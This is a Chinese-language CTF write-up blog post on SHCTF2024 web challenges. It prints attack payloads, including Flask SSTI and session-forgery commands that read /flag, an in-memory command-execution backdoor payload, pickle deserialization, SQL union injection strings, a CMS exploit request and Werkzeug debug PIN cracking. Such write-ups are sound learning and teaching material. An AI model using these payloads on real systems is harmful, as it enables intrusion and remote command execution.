SHCTF2024
0x01 前言
这个比赛结束了,但是听说赛题质量挺高的来看看
0x02 question
[Week1] 1zflask
访问robots.txt
,拿到路由/s3recttt
1 | import os |
覆盖一下就好了
1 | http://210.44.150.15:31118/api?SSHCTFF=tac /f* |
[Week1] MD5 Master
1 |
|
这里我刚开始想的是数组绕过,后面发现是进行了字符串的拼接了,那么就要使用工具了
1 | https://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip |
先创建一个1.txt,里面写的是MD5 master!
然后拖到fastcoll里面就行
然后这里要进行编码,你进去看到的是乱码,写个php脚本
1 |
|
python脚本也可以
1 | import urllib.parse |
然后看包,记得传参别把MD5 master!
给带进去
1 | POST / HTTP/1.1 |
[Week1] ez_gittt
扫了git这里我们恢复一下
1 | githacker --url http://210.44.150.15:42004/.git/ --output-folder './test' |
这里虽然报错了但是关系不大
1 | ┌──(kali㉿kali)-[~/桌面/CTFtools/GitHack/test/b74541aa5150b5b34acf61a698006455] |
1 | git show b79ccaf |
[Week1] jvav
直接用runtime就可以了
1 | import java.io.BufferedReader; |
[Week1] poppopop
1 |
|
1 | T::destruct->F::toString->C::flag->SHCTF::invoke |
1 |
|
[Week1] 单身十八年的手速
直接查看game.js
,直接解码就可以了
[Week1] 蛐蛐?蛐蛐!
进来我看到路径有问题,以为是目录穿越,没想到是命令执行,然后试了好久说只成功了第一步,回去一看原来有源码
1 |
|
然后就不用说了吧
1 | http://210.44.150.15:44144/check.php?ququ=0114514 |
[Week2]MD5 GOD!
1 | from flask import * |
生成随机字符串来进行md5比较,这里应该只有MD5拓展攻击可以解决了吧,但是脚本emm,官方的
1 | import hashlib |
[Week2]dickle
1 | from flask import Flask, request |
可以看到是一个pickle反序列化,但是过滤的很多,可以用subprocess.getoutput
来处理
1 | import pickle |
1 | data = ['S', 'H', 'C', 'T', 'F', '{', 'D', '1', '_', 'D', 'i', '5', 'C', '0', '_', '0', 'H', '_', 'D', 'I', 'C', 'k', 'L', 'E', '_', '1', 'd', '2', 'c', '1', '5', 'a', '7', '7', '4', 'e', 'f', '}'] |
[Week2]guess_the_number
看源码得到路由
1 | import flask |
这里拿到源码,也没想到什么随机数啥的,那就只能爆破了
1 | import requests |
[Week2]入侵者禁入
1 | from flask import Flask, session, request, render_template_string |
貌似是伪造session
1 | flask-unsign --decode --cookie 'eyJyb2xlIjp7ImZsYWciOiJ5b3VyX2ZsYWdfaGVyZSIsImlzX2FkbWluIjowfX0.ZzLS7g.HwKYlHoZ7f4Uvlq3Rrgrm34bxgA' --secret '0day_joker' |
但是好像是拿到了一个假的flag,难道session里面注入?
试试
1 | flask-unsign --sign --cookie "{'role': {'flag': '{{7+7}}', 'is_admin': 1}}" --secret '0day_joker' |
1 | flask-unsign --sign --cookie "{'role': {'flag': '{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}', 'is_admin': 1}}" --secret '0day_joker' |
这样子写不行?,转义我也转了但是发现转不明白,那算了,直接换工具
1 | TEMPLATE="{\"role\":{\"flag\":\"{% print(url_for.__globals__[\\'__builtins__\\'][\\'eval\\'](\\\"__import__(\\\\\\'os\\\\\\').popen(\\\\\\'cat \\/flag\\\\\\').read()\\\")) %}\",\"is_admin\":1}}" && python3 flask_session_cookie_manager3.py encode -s '0day_joker' -t "${TEMPLATE}" |
这个是橘子的payload,并且我发现只有Linux里面才可以用,那我自己写的话
1 | python3 flask_session_cookie_manager3.py encode -s '0day_joker' -t "{'role': {'flag': '{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}', 'is_admin': 1}}" |
然后一直报错,后来发现
你提供的命令中使用了单引号
'
来定义 JSON 字符串,这在 Python 中是不被允许的。JSON 语法要求使用双引号"
来包裹键和值。你需要将 JSON 字符串中的单引号改为双引号
那让人机改了一下发现就可以l
1 | python3 flask_session_cookie_manager3.py encode -s '0day_joker' -t "{\"role\": {\"flag\": \"{{config.__class__.__init__.__globals__['os'].popen('tac /f*').read()}}\", \"is_admin\": 1}}" |
那难道用flask-unsign就不行了?真是不明白这个点
[Week2]登录验证
一个jwt的题目,爆破密钥先(题目提示是6位)
1 | npm install --global jwt-cracker |
1 | jwt-cracker -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ --max 6 |
换了就好了
[Week2]自助查询
裸奔?
1 | 1") union select 1,2-- |
然后正常注入就可以了
1 | 1") union select (select group_concat(schema_name) from information_schema.schemata),2-- |
说是在注释里面,原来还有这种东西
1 | 1") union select (select group_concat(column_comment) from information_schema.columns where table_name='flag'),2-- |
[Week3] hacked_website
先扫一下
1 | dirsearch -u http://210.44.150.15:32713/ |
登录等会应该是要爆破的,不过我们可以看看文章里面有没有东西
D盾直接就扫出来了,那么这里是admin/profile.php
,这里面传参只有POST['SH']
那么现在就是爆破之后访问就行
[Week3] love_flask
1 | from flask import Flask, request, render_template_string |
无回显只渲染,打内存马
1 | {{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}} |
[Week3] 小小cms
YzmCMS官方网站,找找CVE
最后找到了
1 | POST /pay/index/pay_callback.html HTTP/1.1 |
1 | POST /pay/index/pay_callback.html HTTP/1.1 |
[Week3] 拜师之旅·番外
文件上传,阿帕奇,貌似是只能二次渲染,因为一直说只能上传图片,那上网搞到脚本来整一下
1 |
|
更好的脚本
1 |
|
jpg的渲染脚本也放一下
1 |
|
这道题是png我直接用的第一个脚本
执行命令之后立马就保存
[Week3] 顰
F12看到是flask,这样子一看就是flask计算pin
首先读取的东西
1 | /etc/passwd |
1 | import hashlib |
1 | python index.py -u root -p /usr/local/lib/python3.10/site-packages/flask/app.py -M c2:91:50:cb:a8:92 -i d45a88e1-3fe4-4156-9e59-3864587b7c87 |
但是总是进不去,本地来个demo
1 | from flask import Flask |
进console查看源码发现这个
1 | /console?__debugger__=yes&cmd=pinauth&pin=107-791-646&s=KWiiNi1LsEQEWD81tgor |
也就是说这里是有个多的东西来验证身份的,那么我们就是要把这些参数全部带上才可以命令执行
这里进console也是非常奇葩,抓一次包才能进
1 | var CONSOLE_MODE = true, |
1 | Md5Pin: 296-861-787 |
拿到
1 | __wzdc1e82870ae37b6827c7a=1731399932|b563fd4cd0d3; |
然后就执行命令发现一直不能成功,
1 | /console?&__debugger__=yes&cmd=open('/flag').read()&frm=0&s=QaUwOvTCEcKSmY8NELTA |
cookie带上就不用写pin
了
这里写了好久,报错那个路径拿不到,最后发现是默认的,还有就是命令执行这里,少写了参数,谢谢CX和橘子
[Week4] 0进制计算器
1 | from flask import Flask, render_template, request, jsonify |
执行命令的代码就这个
1 | def execute_command(self, command): |
黑名单是这个
1 | 0cdhor+-*/=()"\'; |
那应该是chr 和ord的合作了,这里一边是自定义打印一边是赋值,还是选择赋值
1 | import os |
但是不知道为啥没有回显(只有在cdhor()里面执行的命令才有回显
oi
干不动了,好多审计和java
1 | https://mp.weixin.qq.com/s/ekss3fOeQhhfVNMIvqrP1Q |
官方wp 看了看思路
0x03
感觉挺好的,学到了一些东西
- Title: SHCTF2024
- Author: baozongwi
- Created at : 2024-11-12 09:41:57
- Updated at : 2024-11-28 16:45:26
- Link: https://baozongwi.xyz/2024/11/12/SHCTF2024/
- License: This work is licensed under CC BY-NC-SA 4.0.